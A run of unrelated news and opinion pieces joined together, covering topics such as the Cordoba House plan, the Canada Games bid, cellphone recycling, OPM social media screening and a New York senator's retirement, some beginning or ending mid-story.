The Islamic center's leaders say they plan to build the $100 million, 13-story facility called Cordoba House two blocks from the site of the 9/11 attacks. The developer, Sharif el-Gamal, describes the project as an "Islamic community center" that would include a 500-seat performing arts center, a lecture hall, a swimming pool, a gym, a culinary school, a restaurant and a prayer space for Muslims.
Nearly 70 percent of Americans oppose the plan, according to a CNN/Opinion Research Corporation Poll released Wednesday.
CNN's Mark Preston contributed to this storyOttawa will not be hosting the 2021 Canada Summer Games.
The games were awarded Thursday to the Niagara Region, bringing to end the city's bid, which was officially launched earlier this year.
On Twitter, Mayor Jim Watson expressed his disappointment with the outcome.
Sad that Ottawa won’t host <a href="https://twitter.com/hashtag/2021CanadaGames?src=hash">#2021CanadaGames</a>, but proud of our Bid Committee & volunteers. Thank you <a href="https://twitter.com/CanadaGames">@CanadaGames</a> for considering our City. —@JimWatsonOttawa
The Canada Games began in 1967 and attract the country's top amateurs in a wide variety of sports every two years — alternating between winter and summer events — with athletes representing their province or territory.
Ottawa's bid committee foresaw using the Terry Fox Athletic Facility at Mooney's Bay for track and field and rugby, while Lansdowne Park and TD Place would have hosted basketball, beach volleyball and soccer.
The pool at the Nepean Sportsplex would have served as the location for swimming events. Many city sporting facilities would have been in for major upgrades if Ottawa's bid was accepted.
Along with the Niagara Region, Ottawa was competing against Sudbury, Kitchener-Waterloo, Guelph and Cambridge for the right to host the games.
Ottawa would have been the largest city ever to host the games.Not everybody is sad that Guillermo Del Toro isn't going to be directing The Hobbit after all. Lauren Panepinto, creative director at Orbit Books and Yen Press, explains why she had misgivings about a Pan's Labyrinth-style Hobbit.
Back when Guillermo Del Toro was announced as the director of The Hobbit, my initial response was an unenthusiastic groan. Immediately after this thought I felt some intense fangirl guilt - wasn't Pan's Labyrinth a fabulous and visually original movie? Absolutely. Isn't Del Toro one of the most visually stunning directors working today? Undeniable. Is he one of barely a handful of producers today that can get fantasy movies done without the studios screwing them up? A resounding Yes. But what I immediately thought was: "If I see one guy with eyeballs in the palms of his hands, I am going to lose it."
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See, I'm a huge Hellboy comics fan, especially of Mike Mignola's art, and Del Toro's handling of the films really left me cold. The first film was a cautious adaptation, in much the way Singer's lukewarm first X-Men film was. But that was fine - there's only so much freedom you can squeeze out of a big studio when trying to adapt something so unique, and as downright strange, to the screen as a big red demon ghostbuster. And all while worrying about making enough money to greenlight a second film. But with Hellboy II, Del Toro had all the freedom to push the visual style into something really fabulous, and we got... Pan's Labyrinth with a big red demon ghostbuster. Don't tell me you all didn't think it when you saw the guy in the cave with the wings and the palm-eyeballs. You know you did.
Is it unfair to expect a director to be able to perfectly adapt a comic's visual style to the screen? Some would say yes, but Robert Rodriguez did a damn fine job with Sin City, and Zack Snyder absolutely nailed the visual translations of both 300 and Watchmen. There is a difference between directing a story of your own creation, and an adaptation of a property that is already loved and lauded for its visuals. Peter Jackson was so careful to stay true to so much of the visual library built up over the decades since Tolkien wrote The Lord of the Rings, and it paid off in the universal joy of fans everywhere. I just couldn't bring myself to trust that Del Toro would be able to follow P. J.'s lead and resist remaking the movies in his style. Maybe Peter Jackson will direct, maybe not. Certainly there are a lot of candidates, and there are plenty of directors better suited to working within an established visual language. I'd take Alfonso Cuaron in a hot second.
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Del Toro has an imagination with his own creations that I will pay to see again and again. And truly, this is the best thing about Del Toro leaving The Hobbit. He can get back to the creative freedom of his own stories. That is where he truly shines. And now I can stop wondering which Tolkein characters were most likely to end up with the eyeball treatment. (My guess was the trolls.)
Image by Lauren Panepinto.It is not often that Eli Manning needs to hit the X-ray room after a game, but he did following Sunday’s 23-20 overtime loss to the Jets. Manning did not disclose what part of his body needed to get checked out.
“Just to see if anything was broken,’’ Manning said, “but it’s all good.’’
Manning did take a big hit by linebacker David Harris on a 2-yard scramble late in the third quarter but said that was no issue. The X-rays came back negative, and the Giants’ indestructible quarterback goes on after his 178th consecutive regular-season start. Manning did not win the quarterback duel with Ryan Fitzpatrick, and his offense was able to produce only 13 points in four quarters and OT.
“We’ve just got to find a way to make critical plays in the game and in the fourth quarter,’’ Manning said, “and we haven’t been able to make enough of them to win these tight games.’’
Rookie LT Ereck Flowers was forced out in the third quarter with a sprained ankle. That meant Justin Pugh had to move from left guard to left tackle and Dallas Reynolds came off the bench to play left guard. … With Bobby Hart making his first career start, it was the first time since the 1970 merger the Giants started two rookies at offensive tackle. … The Giants had their five-game winning streak to the Jets ended. … Odell Beckham Jr. has five consecutive games with at least 100 receiving yards, a franchise record. Beckham also now has the most receptions (169) in his first two seasons of any player in NFL history.
Jason Pierre-Paul, for the first time, lined up often at left defensive end, moving from the right side. He notched his first fumble recovery of the season.
“He got me a few times, but he’s a hell of a player, man,’’ Jets RT Breno Giacomini said. “His get-off is the best get-off I’ve seen in a long time. He’s just a great player. Credit to him, he was balling today.’’
Dwayne Harris became the first Giants player in 60 years with a punt and kickoff return for a touchdown in the same season. He joins Emlen Tunnell (1951) and Jimmy Patton (1955) as the only Giants with that rare double. … Rueben Randle did not start the second half; he was replaced by Hakeem Nicks. … For the first time this season, the Giants had Beckham back on punt returns along with Harris. … Pugh, on how tough it is to lose to the Jets: “Yeah, because you see ’em around town. I got to see ’em at charity events, I feel like I was getting after some of their guys up front and I was feeling good about it. Hey, they won the game, hats off to them, they beat us. It’s a tough one, yeah, for sure. For sure. It’s no fun.’’The Red Cross in Athlone has confirmed it has withdrawn from the Athlone flood support team.
The organisation, which mainly relies on fundraising for financial support, had provided invaluable assistance on the ground in areas affected by flooding over the past 10 days, but could not afford to continue to pay for the hire of pumps.
Its unit officer in Athlone Harry Knott confirmed to the Westmeath Independent that its team withdrew at 10pm last night.
Mr Knott said it costs €860 to hire out four water pumps for 10 days and that the organisation could not afford to pay for another 10 days of hire, after the initial hire period came to an end yesterday.
The Red Cross had provided 10 volunteers a day in the Athlone area.
The four pumps – located at Parnell Square, the Strand and two at Golden Island – remain in place, but the cost of hiring them is no longer being paid by the Red Cross.After almost five years of sparring, the Bank of England's governor, Sir Mervyn King, has landed the knockout punch on his long-time rival Bob Diamond. Revelations that Barclays staff were fiddling key interest rate indicators from 2005 to 2009 was enough for King to step back into the ring and cut down the Barclays boss.
For someone accused of being too academic, it was a decisive act and the culmination of five years of animus.
But from the moment the credit crunch began to wreck Northern Rock's finances in the summer of 2007, the grammar-school boy from Wolverhampton, whose father was a railway worker and then a geography teacher, was ready with his analysis. King said most of the huge debts accumulated by banks could be tied to the huge bonuses executives received as reward for their lending.
In meetings with regulators and then chancellor Alistair Darling, Diamond, then head of Barclays Capital, and his investment banking peers were seen as a bunch of amoral, greedy traders. Darling relates in his diaries how King would counsel against providing rescue funds that perpetuated a risk-taking culture.
But it was Diamond, one of nine children and also the son of a teacher, who made it public and personal. At a time when most bankers were busy trying to prevent their institutions going bust, he broke cover to give an interview in a Sunday newspaper. In an analysis of central banks' actions in combating the credit squeeze, Diamond notably excluded the Bank of England from praise.
He said providing short-term cash was the job of a central bank. "For the recovery to continue we need to find more ways to get liquidity into the short end of the curve," he said. "That's down to confidence, and that's down to the central banks. We've seen thoughtful moves by the [US Federal Reserve] and the [European Central Bank]."
The Bank of England saw the interview as a direct attack on its handling of the crisis. King's response was to embark on a series of speeches and interviews in which he openly decried the emergence of a "small elite" that agreed to pay itself bonuses in good times and bad. Typical was one in 2009 in which he said: "To paraphrase a great wartime leader, never in the field of financial endeavour has so much money been owed by so few to so many. And, one might add, so far with little real reform."
The general election of 2010 provided an opportunity for King to rein in the bankers. The coalition backed plans to strip the Financial Services Authority of its watchdog powers and hand them to the Bank of England. The chancellor, George Osborne, also supported proposals to ringfence casino-style investment banking from the day-to-day retail banking business.
King wanted banks to be split, not ring-fenced with complex rules, but lobbying from Diamond and the rest of the industry stymied his plans.
Still, King could look forward to the day when his successor was able to boss around the likes of Diamond as chief regulator.
In 2011, Diamond grabbed the first Today programme lecture to argue that banks had changed. No longer were they susceptible to reckless behaviour. He said Barclays would be "a good citizen".
Diamond said: "I understand why many people wonder if anything has really changed. But the reality is, much has changed."
Seven months later, in May, King was given the chance to deliver the second lecture.
The morning after, he was interviewed by presenter Evan Davis, who said many experts accused him of being too academic and keener to moralise about the greed and mistakes made by bank bosses than to salvage the crucial sector of the economy.
King said: "I don't think I have been too academic. I think a knowledge of financial history is essential and I wish, if anything, I had turned to it earlier."You must sign in or register to continue reading content.
An Everett postal facility that serves communities from Lynnwood north to the Canadian border is still planned for closure. Just when that closure might happen isn’t clear.
The Postal Service said it would hold off on shutting down any mail processing facilities until May 15. That deadline is fast approaching but there’s no date for the Everett facility closure, said U.S. Postal Service spokesman Ernie Swanson.
“As far as we are concerned, nothing has changed,” he said.
The U.S. Postal Service announced Wednesday it wants to keep open hundreds of rural post offices by reducing their hours. That doesn’t include the Everett mail processing facility at
8120 Hardeson Road.
The closure of the Everett facility is important because nearly 100 people would lose their jobs. The public also would lose next-day delivery of first-class mail sent in Western Washington.
Swanson said he knew of no major announcements coming in the next few weeks that concern the Everett mail processing facility. However, the Associated Press reported today the Postal Service “also will announce new changes next week involving its proposal to close up to 252 mail processing centers.”
A bill passed by the Senate two weeks ago halts the immediate closing of 252 mail processing centers, including Everett. That amounts to a hill of beans without buy-in from the House.
Rep. Rick Larsen’s spokesman, Bryan Thomas, gave me an update on what they see going on in the other Washington: “It’s not clear what the House is going to do at this point. The House will probably consider its own bills instead, and then the Senate and House will hammer out the differences for a final package. But at this point we don’t have a clear sense on the path forward.
“Rick has asked that the Postal Service delays closures until Congress takes action, so it is still his hope that the Everett facility will stay open.”
Everett postal employees, what are you hearing?A complainant contacted UPD to report that a derogatory term was keyed on her car on Saturday, Nov. 12.
According to the UPD report, the complainant’s passenger rear door was keyed with the derogatory term “fag.”
The vehicle was parked in lot 7 near the music building from 7:30 a.m. to 4 p.m.
There are no suspects at this time, and there are no cameras to review.
Chief Steven Moore stated in an email that as of the time of publication, the keyed derogatory term is not being investigated as a hate crime.
“In this case, the misdemeanor needs to evidence prejudice based on (a) victim’s sexual orientation. The term used is usually used regarding males. Victim is female.”
According to UPD, the complainant “is not 100 percent” sure this happened on campus. The complainant reported the incident to UPD three days later at the request of her parents.
Check back with Eagle News for more on this developing story.I’m sure you’ve read through countless articles regarding the new N.W.A. biopic Straight Outta Compton. Most major music publications have taken fistfuls of inspiration to paint a new picture of the iconic yet controversial rap group. Along with the new limelight shone on the men behind the music, dark clouds have also started to circle. Allegations surrounding Dr. Dre’s abusive tendencies have re-emerged at a seemingly appropriate time, Ice Cube has said some off-putting and misogynistic things in recent interviews, MC Ren and DJ Yella haven’t really done much, and above all, the group has grown a bit pudgy around the midsection. No matter, this article is not meant to expose why we should shame the people who made such timeless music. Let’s forget the faces for a few moments and focus solely on what has manifested from a few superstars with a lot on their minds. Like everyone else, I’ve had N.W.A. on constant rotation since Straight Outta Compton hit theatres (side note, it’s a great film and you should see it). Unfortunately I have young children running around the house, so blasting a “crazy motherfucker named Ice Cube” in their presence might not bode well. My solution, other than private headphones, is to crank up the volume as I drive around to conduct daily errands. This plan has led me to reach a euphoric discovery. This invincibility felt while grooving to Dr. Dre’s “Let Me Ride” is incredible. I continued this trend with various hip-hop artists and yes, the same physical and mental experience is there. Perhaps the dopamine released in the brain has been spiked with a numbing sensation. When the speakers are blaring and lines like “One, and here comes the two to the three and four / Then I drop the beat I have in store” from The D.O.C.’s incomparable “It’s Funky Enough” are flowing through the air, you feel untouchable. Nothing can hurt you and no one can tell you “no”. This inanimate sensation transcends decades. Not only does it apply to classic early-90s G-Funk, but a select few from the new millennium have also provided a metaphorical force field. The feral yelps of Danny Brown’s “Greatest Rapper Ever”, the frantic energy of Das Racist’s “Michael Jackson”, the gigantic confidence of Run The Jewels’ “Close Your Eyes (And Count To Fuck)”, and even the troublemaking craft of Tyler, The Creator’s “Domo23” all have the same elements. Their playability while cruising around town will leave the neighbours staring with mouths agape. However, not all of these songs are sunshiny and positive. Though they have the deep bass beats and the self-assured rap demeanour, perhaps shouting “FUCK THAT, GOLF WANG” isn’t a great way to go about things. We can’t all feed off of Tyler, The Creator’s dunce-cap antics but we can appreciate his artistry.
Instead, positive rap tracks are just as effective. The rehashing of G-Funk in 2015 has allowed the original rhythms to reach a new generation. A prime example is Kendrick Lamar’s To Pimp A Butterfly. Have you played “King Kunta” in your car before? If not, go do that right now. I don’t care if you don’t have anywhere to be, I’m sure you need another carton of milk from the store or something. My point is that hip-hop music has an innate ability to provide a shelter for fans of the genre. Many genres of music are enjoyable for the sake of their craft but I can’t say I’ve had a similar invincible experience while blaring Iron & Wine’s “Love And Some Verses”. The hip-hop of today has changed drastically from its heyday. However, there is no reason to shame it and compare it to the greats. As time moves forward, so does the music. Hip-hop music can still be blasted in the car the same way as it could be when cars bounced up and down the block with advanced hydraulics. Don’t revel in the past and stay in your bubble. Let loose and tackle the new Dr. Dre album with confidence. “Genocide” is a bulletproof example of a good time. Believe me, I don’t put this lightly. I drive a Toyota Matrix. It’s not a muscle car, it’s a cutesy 5-seater. Yet, as soon as I hit play on Kanye West’s “Black Skinhead”, I feel as though I’m driving a tank.- MARTA Police have arrested 36-year-old Chauncey Lee Daniels for the murder of Zachariah Hunnicutt at the West Lake MARTA station.
One person died and three others were injured in a shooting aboard a MARTA train Thursday afternoon. MARTA police said they were trying to determine what led to that deadly gunfire. And they plan to increase patrol across the transit system Friday in light of the incident.
WATCH: Arrest in MARTA shooting
“We have increased our presence throughout the entire MARTA system and will continue to remain vigilant in protecting all of our riders." Said MARTA Police Department Chief Wanda Dunham.
The ordeal happened just before 4:30 p.m. Thursday as a Blue Line train was traveling from the Hamilton E. Holmes station to the West Lake station. Police said Daniels pulled the trigger shortly after boarding the train. He was taken into custody as he left the West Lake station. Investigators said they recovered what they believe to be the gun used in the shooting.
Police said Zachariah Hunnicutt, who was in his 30s, was killed at the scene.
Daniels is charged with murder, aggravated assault and possession of a firearm by a convicted felon.
"He was shot numerous times. He was shot like he wasn't a human being-- like he didn't have a life," said a tearful Sharonda Hunter, the sister of Hunnicutt's girlfriend. She said she was on board the train with her sister, Janisha Cofield, who was shot in the leg.
Officials at Grady Memorial Hospital said they received three shooting victims and one person who was injured in the panic. All were listed in stable condition with what police described as non-life threatening injuries.
Investigators said they were not sure what motivated Daniels gunman to open fire.
Hunter told FOX 5 Hunnicutt knew Daniels from their workplace, but knew nothing about him.
“He had a hat on and he bobbed his head, and he got up and walked back to the back of the train and after that, heard shots, hit the deck and just saw some shoes walk past and that's it,” one witness told FOX 5’s Jaclyn Schultz.
"All I hear is 'pop!' Then like, a couple more second more later it was like 'Pop, pop, pop!' I look back, I
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recycling “has always been the used-car lot of the recycling world,” Seth Heine laments. With no clear standards to follow, he enforces his own. He claims to thoroughly assess the condition of all his phones. He’s also quick to send working phones with limited potential for reuse straight to Umicore rather than sell them for far more money to less scrupulous buyers in the secondhand market. Heine figures this means he is leaving $150,000 on the table each year, easily. (Several environmental groups I contacted, including BAN, singled out Heine for his integrity and seriousness about the environment.)
Mike Newman told me that ReCellular supports establishing standards for exporting phones. But he also questions their effectiveness. A company could say it doesn’t sell irreparable or untested devices to the developing world, but, “How does any company really know where their phones end up?” he asks. “Once you sell them, they’re not your phones anymore.” Newman claims that ReCellular tests all of its recycled phones anyway. But on the day we spoke, there were lots made up of hundreds and thousands of phones (even up to 15,000) listed for sale on ReCellular’s Web site and labeled Bulk Beyond Economical Repair and Bulk Used/Untested. Newman would later clarify: these phones were not from recycling programs. They were returned under carrier warranty programs; ReCellular acquires and resells tens of thousands of these devices too every month and doesn’t bother testing them.
Given this state of affairs, you can’t help wondering if throwing your old phone in the trash, and into the high-tech sarcophagus of an American landfill, could end up doing less damage to the environment than recycling it. But that ignores yet another crucial part of the equation. As Heine explains, even though what he sells will probably be thrown out eventually, if a phone gets three or four more lives, “it’s absolutely better for the environment than having to make three or four more phones — phones that wouldn’t be recycled, either.”
Reusing phones conserves natural resources, which reduces the environmental damage that comes with mining them. That damage isn’t necessarily obvious. When I called Allen Hershkowitz, a senior scientist at the Natural Resources Defense Council who specializes in solid-waste issues, he was less interested in discussing the toxicity of old electronics than the costs of mining a particular metal, tantalum, to build the capacitors for new products. Tantalum comes from an ore called coltan. Control of coltan deposits was a factor in perpetuating Congo’s civil war in the late 1990s, and the people mining it there now, Hershkowitz says, rely on “critically endangered” gorillas for food. Tantalum is one of the metals Umicore can’t recover from e-waste.
Much of the world’s gold and copper, meanwhile, is mined in open pits, which means it is leached out with cyanide or sulfuric acid. Using data from the United States Geological Survey and mining companies’ own reports, Earthworks estimates that mining the gold needed for the circuit board of a single mobile phone generates 220 pounds of waste. The environmental nonprofit calls this “an extremely conservative” estimate.
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What’s more, the world’s supply of these metals is finite. So even as the E.P.A. plays down the risks of throwing e-waste into landfills, it also urges us not to. Tim Townsend, an environmental engineer at the University of Florida who has studied the toxicity of mobile phones for the E.P.A., sums up the absurdity of just tossing this stuff away: “If we know these metals are, overall, bad for us, it doesn’t make sense to keep digging them up from the earth’s crust and bringing them into the biosphere while — at the same time — we’re taking the ones we’ve already got and burying them.”
As with most environmental issues, then, no option for getting rid of a phone is free of trade-offs, and nothing is as simple as we’d wish. But the truth is, few of America’s phones are turned in for “recycling” in the first place. (It’s unclear how few. The figure of less than 1 percent, put forward in a groundbreaking report on phone recycling by the nonprofit Inform five years ago, is still repeated. ReCellular estimates that it’s more like 10 percent now.) While a phone’s small size may give even normally conscientious consumers a dispensation to slip it into the trash, there seems to be a more typical solution, what ABI Research estimates nearly half of Americans do: stick the thing in a desk drawer and leave it there.
Every recycler I spoke with talked about “the drawer.” It turns out to be the real purgatory for phones. Using predictions from Inform, the United States Geological Survey estimates that in 2005 there were already more than half a billion old phones sitting in American drawers. That added up to more than $300 million worth of gold, palladium, silver, copper and platinum. Heine says he still receives phones in prepaid envelopes addressed to the Kentucky tobacco barn where he started Collective Good in 2000. It tells him that people get motivated, take the envelope, then stick that in a drawer for a long time.
“As soon as [a phone] makes its way into the drawer, it’s hard to get people to dig it back out,” ReCellular’s Newman told me. I asked him how hard. “I have employees,” he said, “who have them in their desk drawers.”
3. Cellphones in Heaven
Given the intimate place of cellphones in our lives, why do we get rid of them so quickly?
Sometimes we don’t have a choice. We switch to a new carrier and must buy a phone adapted to its particular network. (Late last year, Verizon announced it would eliminate this requirement.) Or we trade up for new features: first a camera, then an MP3 player, then a Web browser. Apple’s iPhone promised to put an end to this chase by combining everything in a single, graceful device. But the industry knows the iPhone is just a momentary milestone in its race to replace laptop computers entirely — and that we will follow, one revolutionary but not-quite-perfect device at a time.
Regardless, recyclers say that from their vantage point it’s obvious that most phones are retired because of psychological, not technological, obsolescence. “There’s some fashion driving all of this and, by its nature, fashion is not eternal,” says Mark Donovan of M:Metrics, which tracks the wireless industry. Phones were initially an afterthought, given out free so that customers had something to talk into after buying the real product, the service contract. But carriers learned, as Donovan puts it, that “if you deliver something cool, and if it’s a bit of a status symbol, people will pony up and pay cash for it.” He adds: “People want them to become more than an awkward gadget. People want it to be an expression of their personalities.”
Right now, there are roughly 470 models of phone for sale in the United States. About 16 new ones come out every month. Many are only slightly altered versions of existing phones, suggesting how easily we get bored — how we’ll crave something that slides, say, instead of flips open. (There are currently 46 styles of Motorola Razr; Motorola has, in fact, projected which colors and finishes we’ll find most attractive through the year 2009.) And we have the perfect incentive to get whatever we want every two years when our contracts are up and the discounts for new phones roll around. When I asked Iain Gillott, an analyst with iGR, what makes a person get a new phone, he told me, “They’re cruising through the Sunday paper, and they see a fabulous phone for 50 bucks and they say, ‘Well, I haven’t had a new one in 18 months.’ ”
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Gillott estimates 50 to 60 percent of phones are replaced “because people get tired of the design.” Otherwise, consumers want a new feature — even, it seems, if there’s no real need for it; according to M:Metrics, 82 percent of those with Internet-enabled phones do not go online. Steven Herbst, a psychology researcher at Motorola, told me: “All that pressure to have the latest — something that people will be impressed by — is compounded by the fact that all of a sudden somebody is doing something with their mobile phone that you can’t do.” In other words, it’s because we’ve made phones such deep and indispensable extensions of ourselves that we dump them so quickly. Who can bear seeing himself as even slightly outdated or incapable?
“Somewhere during the last 100 years, we learned to find refuge outside the species, in the silent embrace of manufactured objects,” Jonathan Chapman, a young product designer and theorist at the University of Brighton, writes in his book “Emotionally Durable Design.” But designers and consumers have snared themselves in an unsustainable trap, Chapman told me, since our affection for many high-tech objects is tied exclusively to their newness.
“The mobile phone occupies a kind of glossy, scratch-free world,” he says. Whereas a pair of jeans gains character over time, a phone does no such thing. “As soon you purchase it, you can only watch it migrating further away from what it is you want — a glossy, scratch-free object.” You might leave the plastic film over the display for a few days, just so you can take it off later and “give yourself a second honeymoon with the phone,” he says. But ultimately everything that first attracted you to it only deteriorates. You start looking at it differently. “It’s made of some kind of sparkle-finished polymer and it’s got some decent curves on it, but so what? The intimacy comes more from the fact that, within that hand-held piece of plastic, exists your whole world” — your friends’ phone numbers, your digital pictures, your music — and that stuff can be easily transferred to a new one. So you “fall out of love” with the phone, Chapman says.
Even the most idealistic visions of how e-waste should be recycled and reused take for granted that consumers and businesses will never reconsider why we are buying and discarding so many of those products, so quickly, in the first place. If the rush of castoffs isn’t likely to stop, we need to clear a proper path for it, considering all the inevitable compromises and costs along the way and delivering those products to as consequenceless a place as possible.
There is no heaven for cellphones. Wherever they go, it seems that something, somewhere, to some extent always ends up being damaged or depleted. The only heaven I came across was what Chapman described. It is an image in our heads — not of a place where we can send a used phone but one where we imagine each device when it’s brand-new, right before we first get our hands on it. That illusion of perfection, no matter how many times we see it spoiled, will always lure us into buying the next new phone and sending the last one careering on its way.If you have wondered during this election season why certain friends and family members have startled you with their choice of candidate, you are not alone. Sometimes I wonder how once reasonable, decent women and men seem to suddenly defy reason and logic, and have even changed their demeanor from pleasant and mild-mannered to aggressive and hostile. Are they in some trance that makes them defy their previously held values in favor of the values of their chosen leader? How is it that they react violently to any kind of criticism of their candidate? Is there some kind of political infatuation playing out? Is there a “cult” culture developing here?
Some things I have noticed from my interactions with many of them:
They have a sudden strong, unquestioning commitment to their leader. The leader is defiant, strong-willed, domineering. He is practically adored as a deity. They imitate his traits. They, too, suddenly become aggressive. They will defend him to the death. They elevate him to mythical status.
Questioning or pointing out facts that go against their leader is discouraged within their ranks. When people outside the group make a questioning or critical statement, the members pounce on him, threaten and insult the dissenter, as if he was a dangerous man. How dare anyone question their dear leader?
Millennials are the most vulnerable and impressionable to this kind of candidate. They love his words, his bravado and braggadocio, and subconsciously reject any character issues their leader may have. Often, they become his apologists. When they cannot defend an outright wrong move or utterance, they accuse the other side of any issue, to try and turn the tables and put his opponents on the defensive. Often, they counter with the accusation by waving the flag, saying that unlike their candidate, his critics have not done anything for the country.
They set very high standards for his opponents, accusing them of tiny faults, making mountains out of molehills. But for their leader, they do not require such standards.
What I do not understand is how many of them have completely and conveniently turned their backs on beliefs and values they used to hold as ethical and moral to defend and justify their leader’s behavior and attitude. It is as though they have lost their moral compass. They rationalize this by saying their candidate is just being “real.”
In a cult, no one questions where the money comes from or how it is spent. No one demands an accounting lest he or she be accused of doubting the leader or subverting the group.
They have become fact-resistant. Real evidence is completely ignored or denied. Mistakes, blunders made by their leader are given a new spin to make them seem okay.
This type of leader likes to scare his followers with doomsday scenarios and proclaim himself as their savior, the answer to all their fears. He exaggerates the problem and spins a simplistic solution, claiming that he alone can provide it. He makes general statements with no details, but their belief in him is so total, no one questions him about specifics.
His strategy is polarization where he can exploit the tribal fear of “them versus us.” Thus, the constant need to create enemies.
His followers live and feed on memes and lies that they themselves create.
Such a leader is necessarily anti-authority (excepting his own). He does not believe in sharing power or being accountable to anyone. He threatens anyone who stands in his way in exercising complete and absolute power.
The followers of this type of leader are now unrecognizable to their friends and family because they seem to have suddenly changed personalities. They have become the mirror image of their leader. They have surrendered themselves totally to him. They have established an emotional, psychological bond. The leader now validates their new identity.
Writer M. Scott Peck defined evil as “the militant denial of the light.” I do not think all of the followers of such a leader are necessarily evil. And I’m not making any conclusions about anyone specific. But people I know and love seem to be in a trance. Like the followers of Jim Jones in Jonestown, they seem to have drunk the Kool-Aid, and the vitriol, threats and pure hate coming from them is not their real selves talking.The Office of Personnel Management is preparing for a pilot program to automatically track public social media postings of people applying for security clearances.
OPM is conducting market research to find companies that can perform automated social media tracking and other types of Web crawling as part of the background investigation process, according to an April 8 request for information posted online. Responses from interested companies are due by April 15.
OPM is looking for companies that can automatically browse “publicly available electronic information,” which includes information posted to news and media sites; Facebook, Twitter and other social media postings; blog postings; online court records, updates to photo and video-sharing sites; and information gleaned from online e-commerce sites, such as Amazon and eBay.
OPM is interested in companies that have fully automated capabilities -- “with no human intervention,” according to the RFI -- with the ability to search for information “in the parts of the World Wide Web whose contents are not indexed by standard search engines.”
Companies should also have a “robust identity matching algorithm” that won’t get tricked by similar names and return irrelevant results.
The pilot project tests the feasibility of obtaining social media tracking from commercial vendors and will be a joint effort between OPM, which is responsible for performing most federal employee background checks, and the Office of the Director of National Intelligence, according to an OPM spokesman.
Testing of the new tech will be conducted on a population of 400 investigations, the spokesman said, although there’s still no word on when the pilot project is set to get underway.
The new solicitation is the latest in a series of government initiatives to explore the use of social media in the background investigation process. Some of these efforts have been stymied by missed deadlines and unclear policy.
Pentagon and intelligence officials are leading an effort to establish “continuous evaluation” of clearance-holders using automated data checks to replace periodic reinvestigations that currently occur only once every five or 10 years.
Intelligence officials had planned to have a continuous evaluation capability in place for the most sensitive clearance holders by December 2014 but missed the deadline, according to progress updates posted on Performance.gov. Officials now plan to roll out the new program in phases, with at least 5 percent of top-secret clearance holders being continuously evaluated by March 2017. As of December, about 225,000 personnel undergo the automatic checks.
A public-records continuous evaluation project is also currently underway at the State Department, according to the Performance.gov update.
At a hearing in February, federal officials told lawmakers they were still working out the kinks in government policy for more widespread use of social media in the clearance process.
Last June, OPM awarded a sole source contract to California-based tech company Social Intelligence for a preliminary pilot program examining social media in the clearance process.
Under the terms of the contract, Social Intelligence, which has also participated in DOD social media pilots, was to provide 400 reports of publicly available online information over the following six to nine months.
The security clearance process has been rocked by controversy in recent years.
Last summer, OPM announced it had fallen victim to a massive data breach affecting millions of background investigation records. Even earlier, critics raised questions about OPM’s handling of background checks, pointing to potential missed red flags in the backgrounds of National Security Agency contractor Edward Snowden and other so-called “insider threats.”
In January, the Obama administration announced plans to overhaul the process, establishing a new National Background Investigations Bureau and tasking the Defense Department with the responsibility for storing and securing sensitive files.SEOUL, March 13 (Korea Bizwire) – A new helpline (1345) offering free legal advice and counseling is now available for any foreign resident of South Korea, regardless of their visa type, starting today, the Ministry of Justice (MOJ) said yesterday.
The MOJ teamed up with the Korean Bar Association and the Ministry of the Interior to offer help with common legal issues such as lease contracts or criminal cases, in a bid to ensure the legal rights of foreign nationals living in South Korea are respected.
When an appointment is made, the Immigration Contact Center will arrange a date for a three-way phone call between a foreign resident, a translator, and a lawyer. Face to face legal counseling is also available on request.
According to the MOJ, there are currently 57 lawyers offering free legal help in fifteen immigration offices around the country, with plans to hire a further 144 lawyers.
The MOJ’s move to offer legal help to foreigners is the latest addition to the ‘Village Lawyer’ initiative, a free service originally intended to help those who can’t afford lawyers by offering them legal advice and counseling.
Those wishing to book an appointment can dial 1345 without an area code.
Hyunsu Yim ([email protected])Listen to Sen. Farley discuss his decision to retire.
New York State Senator Hugh Farley, a Republican who has represented the 49th district for 20 terms, will not seek another term in November. Farley, 83, announced Tuesday morning that he will step aside to spend more time with his family and wife of 57 years. In the current session, Farley is Vice President Pro Tempore of the Senate, one of the highest-ranking Republicans in the chamber. There are already several candidates running for the seat; Assemblyman Jim Tedisco has also expressed interest in the past. Farley says he expects Tedisco to run. Here is Farley's entire statement:
I wish to announce that I will not be seeking re-election to the 49th Senate District this fall.
The love of my life, Sharon, my wife of 57 years, is now dealing with several health issues and it is my desire and responsibility to spend more time with her and my family.
I have loved my Senate career and feel I have served with honor and integrity. I accomplished more than I ever could have dreamed. I am especially proud to be known as the “Father of Hospice,” having passed the first hospice law in the nation.
As Chairman of the first Standing Committee on Aging, I developed laws such as the first Respite legislation, the Community Services for the Elderly program, and the EPIC pharmaceutical assistance program.
Over the years, I’ve had the opportunity to sponsor a wide variety of laws, including the 1986 Environmental Quality Bond Act, measures to protect water resources and strengthen the regulation of hazardous substances, ATM safety measures, mortgage escrow account protections, strengthened regulation of mortgage lenders and financial institutions, and laws which target money laundering and other financial crimes.
I’m also proud to be known as the Senate’s leading advocate for libraries, working to secure funding and sponsoring almost every piece of library legislation for the past 40 years.
I’ve passed numerous local laws and initiatives, such as creating the Schenectady Metroplex Development Authority, protecting the Schenectady Great Flats Aquifer, and enabling the construction of a new Hamilton-Fulton-Montgomery BOCES facility.
I’ve also worked with local officials and residents to attract businesses and develop industrial parks, and to preserve cultural and historic treasures, including Proctor’s Theatre, the Glove Theatre, the Ulysses S. Grant Cottage and the Gloversville Public Library.
I’ve been privileged to work with state officials from throughout the country to protect and advance state interests and encourage interstate cooperation. I was especially honored to have been elected by my peers to serve a term as National Chairman of the Council of State Governments.
Service to individual citizens has always been of paramount importance to me. Over the years I have been able to assist thousands of individuals, families and businesses who have reached out to my office in a time of need. I have enjoyed making a real difference for real people.
I am grateful to my constituents who for 20 elections and 2 primaries have expressed their support and confidence in me and given me massive pluralities. I am grateful to the people on my staff who serve my constituents so well, and make me look good, day after day.
I am most grateful to my family for their sacrifices and support for me all these years.
I am honored and humbled to have had the opportunity to serve the people of New York.
